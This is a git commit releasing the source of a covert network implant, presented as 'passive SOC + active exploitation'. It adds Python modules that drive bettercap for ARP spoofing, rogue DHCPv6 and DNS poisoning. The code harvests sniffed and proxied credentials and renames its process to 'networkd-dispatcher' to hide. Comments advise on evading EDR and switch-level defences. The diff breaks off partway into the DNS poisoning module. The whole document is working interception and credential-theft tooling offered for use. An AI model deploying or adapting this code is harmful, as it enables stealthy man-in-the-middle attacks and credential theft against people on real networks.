Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
@@ -0,0 +1,23 @@
|
||||
"""SystemMonitor active modules — MITM, spoofing, and interception."""
|
||||
|
||||
from modules.active.bettercap_mgr import BettercapManager
|
||||
from modules.active.arp_spoof import ARPSpoof
|
||||
from modules.active.dns_poison import DNSPoison
|
||||
from modules.active.dhcp_spoof import DHCPSpoof
|
||||
from modules.active.evil_twin import EvilTwin
|
||||
from modules.active.ipv6_slaac import IPv6SLAAC
|
||||
from modules.active.responder_mgr import ResponderManager
|
||||
from modules.active.mitmproxy_mgr import MitmproxyManager
|
||||
from modules.active.ntlm_relay import NTLMRelay
|
||||
|
||||
__all__ = [
|
||||
"BettercapManager",
|
||||
"ARPSpoof",
|
||||
"DNSPoison",
|
||||
"DHCPSpoof",
|
||||
"EvilTwin",
|
||||
"IPv6SLAAC",
|
||||
"ResponderManager",
|
||||
"MitmproxyManager",
|
||||
"NTLMRelay",
|
||||
]
|
||||
@@ -0,0 +1,184 @@
|
||||
#!/usr/bin/env python3
|
||||
"""ARP Spoofing module — thin wrapper around bettercap arp.spoof.
|
||||
|
||||
OPSEC WARNING: ARP spoofing is the most-detected active MITM technique.
|
||||
- Dynamic ARP Inspection (DAI) on managed switches silently prevents it.
|
||||
- EDR/NDR solutions alert within minutes.
|
||||
- Prefer Responder + IPv6 SLAAC for initial access.
|
||||
- Reserve ARP spoofing for confirmed legacy/unmanaged segments.
|
||||
- Always run ids_tester DAI probe first to check viability.
|
||||
|
||||
Configures targets + gateway, then delegates to BettercapManager to
|
||||
enable arp.spoof module. Full-duplex by default for complete MITM.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ARPSpoof(BaseModule):
|
||||
"""ARP spoofing via bettercap — full-duplex MITM.
|
||||
|
||||
Dependencies:
|
||||
- bettercap_mgr must be running.
|
||||
|
||||
Configuration:
|
||||
targets: Comma-separated target IPs or CIDR (e.g., "192.168.1.10,192.168.1.20")
|
||||
gateway: Gateway IP to spoof (e.g., "192.168.1.1")
|
||||
fullduplex: True for bidirectional spoofing (default True)
|
||||
internal: Spoof between targets, not just target<->gateway (default False)
|
||||
"""
|
||||
|
||||
name = "arp_spoof"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
dependencies = ["bettercap_mgr"]
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._bettercap_mgr = None
|
||||
self._targets: Optional[str] = None
|
||||
self._gateway: Optional[str] = None
|
||||
self._fullduplex = True
|
||||
self._internal = False
|
||||
self._spoofing = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||
if not self._bettercap_mgr:
|
||||
logger.error("ARPSpoof requires bettercap_mgr reference in config")
|
||||
return
|
||||
|
||||
# Check if ARP was disabled by crash recovery
|
||||
if hasattr(self._bettercap_mgr, '_arp_disabled_by_crash'):
|
||||
if self._bettercap_mgr._arp_disabled_by_crash:
|
||||
logger.error(
|
||||
"ARP spoofing disabled by crash recovery — "
|
||||
"bettercap crashed too many times with ARP spoof active"
|
||||
)
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("ARPSpoof module started (ready for spoof commands)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._spoofing:
|
||||
self.stop_spoof()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("ARPSpoof module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"spoofing": self._spoofing,
|
||||
"targets": self._targets,
|
||||
"gateway": self._gateway,
|
||||
"fullduplex": self._fullduplex,
|
||||
"internal": self._internal,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "fullduplex" in config:
|
||||
self._fullduplex = config["fullduplex"]
|
||||
if "internal" in config:
|
||||
self._internal = config["internal"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def spoof(self, targets: str, gateway: str) -> bool:
|
||||
"""Enable ARP spoofing for specified targets and gateway.
|
||||
|
||||
Args:
|
||||
targets: Comma-separated target IPs or CIDR.
|
||||
gateway: Gateway IP address.
|
||||
|
||||
Returns:
|
||||
True if spoofing was enabled successfully.
|
||||
"""
|
||||
if not self._running or not self._bettercap_mgr:
|
||||
logger.error("ARPSpoof not started")
|
||||
return False
|
||||
|
||||
if self._bettercap_mgr._arp_disabled_by_crash:
|
||||
logger.error("ARP spoofing disabled — bettercap crash threshold exceeded")
|
||||
return False
|
||||
|
||||
try:
|
||||
# Configure ARP spoof parameters
|
||||
self._bettercap_mgr.run_command(f"set arp.spoof.targets {targets}")
|
||||
self._bettercap_mgr.run_command(
|
||||
f"set arp.spoof.fullduplex {'true' if self._fullduplex else 'false'}"
|
||||
)
|
||||
self._bettercap_mgr.run_command(
|
||||
f"set arp.spoof.internal {'true' if self._internal else 'false'}"
|
||||
)
|
||||
|
||||
# Enable ARP spoofing
|
||||
self._bettercap_mgr.run_command("arp.spoof on")
|
||||
|
||||
self._targets = targets
|
||||
self._gateway = gateway
|
||||
self._spoofing = True
|
||||
|
||||
# Inform bettercap_mgr for crash recovery tracking
|
||||
self._bettercap_mgr.set_spoofing_state(True, targets, gateway)
|
||||
|
||||
self.state.set(self.name, "targets", targets)
|
||||
self.state.set(self.name, "gateway", gateway)
|
||||
logger.info("ARP spoofing enabled: targets=%s, gateway=%s", targets, gateway)
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to enable ARP spoofing")
|
||||
return False
|
||||
|
||||
def stop_spoof(self) -> bool:
|
||||
"""Disable ARP spoofing and send corrective ARPs.
|
||||
|
||||
Returns:
|
||||
True if spoofing was stopped successfully.
|
||||
"""
|
||||
if not self._bettercap_mgr:
|
||||
return False
|
||||
|
||||
try:
|
||||
self._bettercap_mgr.run_command("arp.spoof off")
|
||||
self._spoofing = False
|
||||
self._bettercap_mgr.set_spoofing_state(False)
|
||||
|
||||
self.state.set(self.name, "targets", "")
|
||||
self.state.set(self.name, "gateway", "")
|
||||
logger.info("ARP spoofing disabled")
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to disable ARP spoofing")
|
||||
return False
|
||||
@@ -0,0 +1,516 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Central bettercap orchestrator — single instance, shared by all active modules.
|
||||
|
||||
Manages the bettercap subprocess lifecycle, REST API health monitoring,
|
||||
event stream parsing, caplet management, and crash recovery with corrective
|
||||
gratuitous ARPs.
|
||||
|
||||
All active MITM modules (ARP spoof, DNS poison, DHCP spoof, IPv6 SLAAC)
|
||||
route commands through this manager via run_command() and the BettercapAPI
|
||||
client.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.bettercap_api import BettercapAPI
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class BettercapManager(BaseModule):
|
||||
"""Central bettercap instance manager.
|
||||
|
||||
Responsibilities:
|
||||
- Start/stop bettercap with random per-session API credentials
|
||||
- Health monitoring via GET /api/session every 10s
|
||||
- Auto-restart on crash (max 3) with caplet re-application
|
||||
- Crash recovery: gratuitous ARP correction if spoofing was active
|
||||
- Parse event stream for credentials and host discoveries
|
||||
- Caplet management: load/unload/switch from config/caplets/
|
||||
- Process disguise coordination
|
||||
"""
|
||||
|
||||
name = "bettercap_mgr"
|
||||
module_type = "active"
|
||||
priority = 50
|
||||
requires_root = True
|
||||
|
||||
HEALTH_POLL_INTERVAL = 10 # seconds
|
||||
EVENT_POLL_INTERVAL = 5 # seconds
|
||||
MAX_CRASH_RESTARTS = 3
|
||||
RESTART_WINDOW = 15 # seconds — restart within this window after crash
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._api: Optional[BettercapAPI] = None
|
||||
self._proc: Optional[subprocess.Popen] = None
|
||||
self._health_thread: Optional[threading.Thread] = None
|
||||
self._event_thread: Optional[threading.Thread] = None
|
||||
self._crash_count = 0
|
||||
self._last_event_id = 0
|
||||
self._active_caplet: Optional[str] = None
|
||||
self._spoofing_active = False
|
||||
self._spoof_targets: Optional[str] = None
|
||||
self._spoof_gateway: Optional[str] = None
|
||||
self._arp_disabled_by_crash = False
|
||||
self._lock = threading.Lock()
|
||||
self._binary = config.get("bettercap_binary", "/usr/local/bin/bettercap")
|
||||
self._iface = config.get("interface", "eth0")
|
||||
self._api_host = "127.0.0.1"
|
||||
self._api_port = config.get("bettercap_api_port", 8083)
|
||||
self._caplet_dir = config.get(
|
||||
"caplet_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "config", "caplets"),
|
||||
)
|
||||
self._disguise_name = config.get("bettercap_disguise", "networkd-dispatcher")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Initialise REST API client with fresh random credentials
|
||||
self._api = BettercapAPI(
|
||||
host=self._api_host,
|
||||
port=self._api_port,
|
||||
)
|
||||
|
||||
if not self._start_bettercap():
|
||||
logger.error("Failed to start bettercap subprocess")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._crash_count = 0
|
||||
|
||||
# Health monitoring thread
|
||||
self._health_thread = threading.Thread(
|
||||
target=self._health_loop, daemon=True, name="sensor-bcap-health"
|
||||
)
|
||||
self._health_thread.start()
|
||||
|
||||
# Event stream parser thread
|
||||
self._event_thread = threading.Thread(
|
||||
target=self._event_loop, daemon=True, name="sensor-bcap-events"
|
||||
)
|
||||
self._event_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
|
||||
logger.info(
|
||||
"BettercapManager started (api=%s:%d, iface=%s)",
|
||||
self._api_host, self._api_port, self._iface,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
# Stop ARP spoofing cleanly before shutdown
|
||||
if self._spoofing_active:
|
||||
try:
|
||||
self._api.run("arp.spoof off")
|
||||
except Exception:
|
||||
pass
|
||||
self._spoofing_active = False
|
||||
|
||||
self._stop_bettercap()
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("BettercapManager stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
alive = self._proc is not None and self._proc.poll() is None
|
||||
return {
|
||||
"running": self._running and alive,
|
||||
"pid": self._get_proc_pid(),
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"crash_count": self._crash_count,
|
||||
"spoofing_active": self._spoofing_active,
|
||||
"active_caplet": self._active_caplet,
|
||||
"arp_disabled_by_crash": self._arp_disabled_by_crash,
|
||||
"api_port": self._api_port,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "interface" in config:
|
||||
self._iface = config["interface"]
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
if self._api is None:
|
||||
return False
|
||||
try:
|
||||
return self._api.is_alive()
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API — used by other active modules
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def run_command(self, cmd: str) -> dict:
|
||||
"""Execute a bettercap command via REST API.
|
||||
|
||||
Args:
|
||||
cmd: bettercap command string (e.g., "arp.spoof on")
|
||||
|
||||
Returns:
|
||||
API response dict.
|
||||
|
||||
Raises:
|
||||
ConnectionError: If bettercap is unreachable.
|
||||
"""
|
||||
if self._api is None:
|
||||
raise ConnectionError("BettercapManager not started")
|
||||
return self._api.run(cmd)
|
||||
|
||||
def load_caplet(self, name: str) -> dict:
|
||||
"""Load a caplet from the caplet directory.
|
||||
|
||||
Args:
|
||||
name: Caplet filename (e.g., "passive_recon.cap").
|
||||
|
||||
Returns:
|
||||
API response dict.
|
||||
"""
|
||||
caplet_path = os.path.join(self._caplet_dir, name)
|
||||
if not os.path.isfile(caplet_path):
|
||||
raise FileNotFoundError(f"Caplet not found: {caplet_path}")
|
||||
result = self._api.load_caplet(caplet_path)
|
||||
self._active_caplet = name
|
||||
self.state.set(self.name, "active_caplet", name)
|
||||
logger.info("Loaded caplet: %s", name)
|
||||
return result
|
||||
|
||||
def get_hosts(self) -> list:
|
||||
"""Return discovered hosts from bettercap session."""
|
||||
if self._api is None:
|
||||
return []
|
||||
try:
|
||||
return self._api.get_hosts()
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
def is_spoofing(self) -> bool:
|
||||
"""Return True if ARP spoofing is currently active."""
|
||||
return self._spoofing_active
|
||||
|
||||
def set_spoofing_state(self, active: bool, targets: str = None,
|
||||
gateway: str = None) -> None:
|
||||
"""Track ARP spoofing state for crash recovery."""
|
||||
with self._lock:
|
||||
self._spoofing_active = active
|
||||
self._spoof_targets = targets
|
||||
self._spoof_gateway = gateway
|
||||
|
||||
def get_api(self) -> Optional[BettercapAPI]:
|
||||
"""Return the BettercapAPI client instance."""
|
||||
return self._api
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Subprocess management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _start_bettercap(self) -> bool:
|
||||
"""Launch bettercap subprocess with REST API."""
|
||||
cmd = [
|
||||
self._binary,
|
||||
"-iface", self._iface,
|
||||
"-no-history",
|
||||
] + self._api.api_flags
|
||||
|
||||
env = dict(os.environ)
|
||||
|
||||
try:
|
||||
self._proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
env=env,
|
||||
preexec_fn=self._make_preexec(self._disguise_name),
|
||||
)
|
||||
except FileNotFoundError:
|
||||
logger.error("bettercap binary not found: %s", self._binary)
|
||||
return False
|
||||
except Exception as e:
|
||||
logger.error("Failed to start bettercap: %s", e)
|
||||
return False
|
||||
|
||||
# Wait for API to become available (up to 15s)
|
||||
deadline = time.time() + 15
|
||||
while time.time() < deadline:
|
||||
if self._api.is_alive():
|
||||
logger.info("bettercap API ready (pid=%d)", self._proc.pid)
|
||||
return True
|
||||
time.sleep(0.5)
|
||||
|
||||
logger.error("bettercap API did not become ready within 15s")
|
||||
self._stop_bettercap()
|
||||
return False
|
||||
|
||||
def _stop_bettercap(self) -> None:
|
||||
"""Gracefully stop bettercap: SIGTERM -> 5s -> SIGKILL."""
|
||||
proc = self._proc
|
||||
if proc is None or proc.poll() is not None:
|
||||
self._proc = None
|
||||
return
|
||||
|
||||
try:
|
||||
proc.terminate()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
try:
|
||||
proc.wait(timeout=5.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("bettercap did not stop after SIGTERM, sending SIGKILL")
|
||||
try:
|
||||
proc.kill()
|
||||
proc.wait(timeout=2.0)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self._proc = None
|
||||
|
||||
def _get_proc_pid(self) -> Optional[int]:
|
||||
if self._proc and self._proc.poll() is None:
|
||||
return self._proc.pid
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Crash recovery
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _handle_crash(self) -> None:
|
||||
"""Handle bettercap crash: corrective ARPs, then restart.
|
||||
|
||||
If ARP spoofing was active, immediately send corrective gratuitous
|
||||
ARPs to restore network state. Disable ARP spoofing after 3 crashes
|
||||
to prevent a crash loop from disrupting the network.
|
||||
"""
|
||||
self._crash_count += 1
|
||||
logger.warning(
|
||||
"bettercap crashed (count=%d/%d, spoofing_was_active=%s)",
|
||||
self._crash_count, self.MAX_CRASH_RESTARTS, self._spoofing_active,
|
||||
)
|
||||
|
||||
self.bus.emit(
|
||||
"TOOL_CRASHED",
|
||||
{
|
||||
"tool": "bettercap",
|
||||
"crash_count": self._crash_count,
|
||||
"spoofing_active": self._spoofing_active,
|
||||
},
|
||||
source_module=self.name,
|
||||
)
|
||||
|
||||
# Send corrective gratuitous ARPs if spoofing was active
|
||||
if self._spoofing_active and self._spoof_gateway:
|
||||
self._send_corrective_arps()
|
||||
|
||||
# Disable ARP spoof after max crashes to break crash loops
|
||||
if self._crash_count >= self.MAX_CRASH_RESTARTS:
|
||||
if self._spoofing_active:
|
||||
logger.error(
|
||||
"ARP spoof disabled after %d crashes — network stability risk",
|
||||
self._crash_count,
|
||||
)
|
||||
self._arp_disabled_by_crash = True
|
||||
self._spoofing_active = False
|
||||
self.state.set(self.name, "arp_disabled_by_crash", "true")
|
||||
logger.error("bettercap exceeded max restarts (%d), giving up", self.MAX_CRASH_RESTARTS)
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "crashed")
|
||||
return
|
||||
|
||||
# Restart bettercap within RESTART_WINDOW
|
||||
backoff = min(2 ** (self._crash_count - 1), self.RESTART_WINDOW)
|
||||
logger.info("Restarting bettercap in %ds (attempt %d/%d)",
|
||||
backoff, self._crash_count, self.MAX_CRASH_RESTARTS)
|
||||
time.sleep(backoff)
|
||||
|
||||
if self._start_bettercap():
|
||||
logger.info("bettercap restarted successfully")
|
||||
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
|
||||
|
||||
# Re-apply active caplet
|
||||
if self._active_caplet:
|
||||
try:
|
||||
self.load_caplet(self._active_caplet)
|
||||
except Exception:
|
||||
logger.exception("Failed to re-apply caplet after restart")
|
||||
|
||||
# Re-enable ARP spoofing if it was active and not disabled
|
||||
if self._spoofing_active and not self._arp_disabled_by_crash:
|
||||
try:
|
||||
if self._spoof_targets:
|
||||
self._api.set_parameter("arp.spoof.targets", self._spoof_targets)
|
||||
self._api.run("arp.spoof on")
|
||||
logger.info("ARP spoofing re-enabled after restart")
|
||||
except Exception:
|
||||
logger.exception("Failed to re-enable ARP spoof after restart")
|
||||
else:
|
||||
logger.error("bettercap restart failed")
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "crashed")
|
||||
|
||||
def _send_corrective_arps(self) -> None:
|
||||
"""Send corrective gratuitous ARPs to restore network after crash.
|
||||
|
||||
Uses scapy to send a few gratuitous ARP packets with the real
|
||||
gateway MAC to undo any poisoned ARP caches.
|
||||
"""
|
||||
try:
|
||||
from scapy.all import ARP, Ether, sendp, getmacbyip
|
||||
except ImportError:
|
||||
logger.warning("scapy not available — cannot send corrective ARPs")
|
||||
return
|
||||
|
||||
gateway = self._spoof_gateway
|
||||
if not gateway:
|
||||
return
|
||||
|
||||
try:
|
||||
gw_mac = getmacbyip(gateway)
|
||||
if not gw_mac:
|
||||
logger.warning("Could not resolve gateway MAC for corrective ARPs")
|
||||
return
|
||||
|
||||
# Gratuitous ARP: gateway telling everyone its real MAC
|
||||
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
|
||||
op=2, # is-at
|
||||
psrc=gateway,
|
||||
hwsrc=gw_mac,
|
||||
pdst=gateway,
|
||||
hwdst="ff:ff:ff:ff:ff:ff",
|
||||
)
|
||||
sendp(pkt, iface=self._iface, count=5, inter=0.2, verbose=False)
|
||||
logger.info("Sent corrective gratuitous ARPs for gateway %s", gateway)
|
||||
except Exception:
|
||||
logger.exception("Failed to send corrective ARPs")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Health monitoring loop
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _health_loop(self) -> None:
|
||||
"""Poll bettercap API every HEALTH_POLL_INTERVAL to detect crashes."""
|
||||
while self._running:
|
||||
time.sleep(self.HEALTH_POLL_INTERVAL)
|
||||
if not self._running:
|
||||
break
|
||||
|
||||
# Check if process is still alive
|
||||
if self._proc and self._proc.poll() is not None:
|
||||
self._handle_crash()
|
||||
continue
|
||||
|
||||
# Check API responsiveness
|
||||
try:
|
||||
if not self._api.is_alive():
|
||||
logger.warning("bettercap API unresponsive — checking process")
|
||||
if self._proc and self._proc.poll() is not None:
|
||||
self._handle_crash()
|
||||
except Exception:
|
||||
logger.exception("Health check error")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event stream parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _event_loop(self) -> None:
|
||||
"""Poll bettercap event stream for credentials and host discoveries."""
|
||||
while self._running:
|
||||
time.sleep(self.EVENT_POLL_INTERVAL)
|
||||
if not self._running:
|
||||
break
|
||||
|
||||
try:
|
||||
events = self._api.get_events(since=self._last_event_id)
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
for event in events:
|
||||
self._last_event_id += 1
|
||||
self._process_event(event)
|
||||
|
||||
def _process_event(self, event: dict) -> None:
|
||||
"""Parse a single bettercap event and emit bus events as needed."""
|
||||
tag = event.get("tag", "")
|
||||
data = event.get("data", {})
|
||||
|
||||
# Credential captures from HTTP proxy, net.sniff, etc.
|
||||
if tag in ("net.sniff.credentials", "http.proxy.credentials",
|
||||
"https.proxy.credentials"):
|
||||
self._handle_credential_event(data)
|
||||
|
||||
# Host discovery events
|
||||
elif tag in ("endpoint.new", "endpoint.detected"):
|
||||
self._handle_host_event(data)
|
||||
|
||||
# Module status events
|
||||
elif tag.startswith("mod."):
|
||||
logger.debug("bettercap module event: %s", tag)
|
||||
|
||||
def _handle_credential_event(self, data: dict) -> None:
|
||||
"""Emit CREDENTIAL_FOUND for captured credentials."""
|
||||
payload = {
|
||||
"source_module": self.name,
|
||||
"source_ip": data.get("from", ""),
|
||||
"target_ip": data.get("to", ""),
|
||||
"target_service": data.get("proto", "unknown"),
|
||||
"username": data.get("username", ""),
|
||||
"credential_type": data.get("type", "cleartext"),
|
||||
"credential_value": data.get("password", data.get("hash", "")),
|
||||
"raw_data": data,
|
||||
}
|
||||
emit_credential_found(self.bus, self.name, payload)
|
||||
logger.info(
|
||||
"Credential captured: %s@%s (%s)",
|
||||
payload["username"], payload["target_ip"], payload["target_service"],
|
||||
)
|
||||
|
||||
def _handle_host_event(self, data: dict) -> None:
|
||||
"""Emit HOST_DISCOVERED for new network hosts."""
|
||||
payload = {
|
||||
"source_module": self.name,
|
||||
"ip": data.get("ipv4", data.get("addr", "")),
|
||||
"mac": data.get("mac", ""),
|
||||
"hostname": data.get("hostname", ""),
|
||||
"vendor": data.get("vendor", ""),
|
||||
"os": data.get("os", ""),
|
||||
"raw_data": data,
|
||||
}
|
||||
self.bus.emit("HOST_DISCOVERED", payload, source_module=self.name)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _make_preexec(disguise_name: str):
|
||||
"""Return a preexec_fn that renames the process via prctl."""
|
||||
def _preexec():
|
||||
try:
|
||||
import ctypes
|
||||
libc = ctypes.CDLL("libc.so.6", use_errno=True)
|
||||
PR_SET_NAME = 15
|
||||
name_bytes = disguise_name[:15].encode("utf-8")
|
||||
libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
|
||||
except Exception:
|
||||
pass
|
||||
return _preexec
|
||||
@@ -0,0 +1,151 @@
|
||||
#!/usr/bin/env python3
|
||||
"""DHCP Spoofing module — configure DHCPv6 spoofing via bettercap.
|
||||
|
||||
Uses bettercap's dhcp6.spoof module to win DHCP races and inject
|
||||
a rogue DNS server (the implant) into client configurations.
|
||||
This enables DNS-based MITM without ARP spoofing.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class DHCPSpoof(BaseModule):
|
||||
"""DHCP spoofing via bettercap dhcp6.spoof.
|
||||
|
||||
Sets up a rogue DHCPv6 server that responds to DHCP requests,
|
||||
injecting the implant as the DNS server. Combined with DNS
|
||||
poisoning, this provides full MITM without ARP cache manipulation.
|
||||
|
||||
Dependencies:
|
||||
- bettercap_mgr must be running.
|
||||
|
||||
Configuration:
|
||||
dns_server: DNS server IP to inject (default: implant IP)
|
||||
gateway: Gateway IP to advertise
|
||||
"""
|
||||
|
||||
name = "dhcp_spoof"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
dependencies = ["bettercap_mgr"]
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._bettercap_mgr = None
|
||||
self._spoofing = False
|
||||
self._dns_server: Optional[str] = None
|
||||
self._gateway: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||
if not self._bettercap_mgr:
|
||||
logger.error("DHCPSpoof requires bettercap_mgr reference in config")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("DHCPSpoof module started (ready for spoof commands)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._spoofing:
|
||||
self.stop_spoof()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("DHCPSpoof module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"spoofing": self._spoofing,
|
||||
"dns_server": self._dns_server,
|
||||
"gateway": self._gateway,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def spoof(self, dns_server: str, gateway: str) -> bool:
|
||||
"""Enable DHCP spoofing with rogue DNS server.
|
||||
|
||||
Args:
|
||||
dns_server: IP to inject as DNS server (typically the implant IP).
|
||||
gateway: Gateway IP to advertise in DHCP responses.
|
||||
|
||||
Returns:
|
||||
True if DHCP spoofing was enabled.
|
||||
"""
|
||||
if not self._running or not self._bettercap_mgr:
|
||||
logger.error("DHCPSpoof not started")
|
||||
return False
|
||||
|
||||
try:
|
||||
# Configure dhcp6.spoof parameters
|
||||
self._bettercap_mgr.run_command(f"set dhcp6.spoof.domains *")
|
||||
self._bettercap_mgr.run_command("dhcp6.spoof on")
|
||||
|
||||
self._spoofing = True
|
||||
self._dns_server = dns_server
|
||||
self._gateway = gateway
|
||||
|
||||
self.state.set(self.name, "dns_server", dns_server)
|
||||
self.state.set(self.name, "gateway", gateway)
|
||||
logger.info(
|
||||
"DHCP spoofing enabled: dns=%s, gateway=%s", dns_server, gateway
|
||||
)
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to enable DHCP spoofing")
|
||||
return False
|
||||
|
||||
def stop_spoof(self) -> bool:
|
||||
"""Disable DHCP spoofing.
|
||||
|
||||
Returns:
|
||||
True if DHCP spoofing was stopped.
|
||||
"""
|
||||
if not self._bettercap_mgr:
|
||||
return False
|
||||
|
||||
try:
|
||||
self._bettercap_mgr.run_command("dhcp6.spoof off")
|
||||
self._spoofing = False
|
||||
self._dns_server = None
|
||||
self._gateway = None
|
||||
|
||||
self.state.set(self.name, "dns_server", "")
|
||||
self.state.set(self.name, "gateway", "")
|
||||
logger.info("DHCP spoofing disabled")
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to disable DHCP spoofing")
|
||||
return False
|
||||
@@ -0,0 +1,201 @@
|
||||
#!/usr/bin/env python3
|
||||
"""DNS Poisoning module — push DNS spoofing rules via bettercap REST API.
|
||||
|
||||
Template-driven zone files are converted to bettercap dns.spoof.domains
|
||||
format. Supports selective domain redirection and wildcard matching.
|
||||
Zone templates live in templates/dns_zones/.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class DNSPoison(BaseModule):
|
||||
"""DNS poisoning via bettercap dns.spoof module.
|
||||
|
||||
Dependencies:
|
||||
- bettercap_mgr must be running.
|
||||
|
||||
Configuration:
|
||||
domains: Comma-separated domains to poison (e.g., "*.example.com,login.corp.local")
|
||||
target_ip: IP to redirect poisoned domains to (default: implant IP)
|
||||
zone_file: Path to zone template for selective redirection
|
||||
"""
|
||||
|
||||
name = "dns_poison"
|
||||
module_type = "active"
|
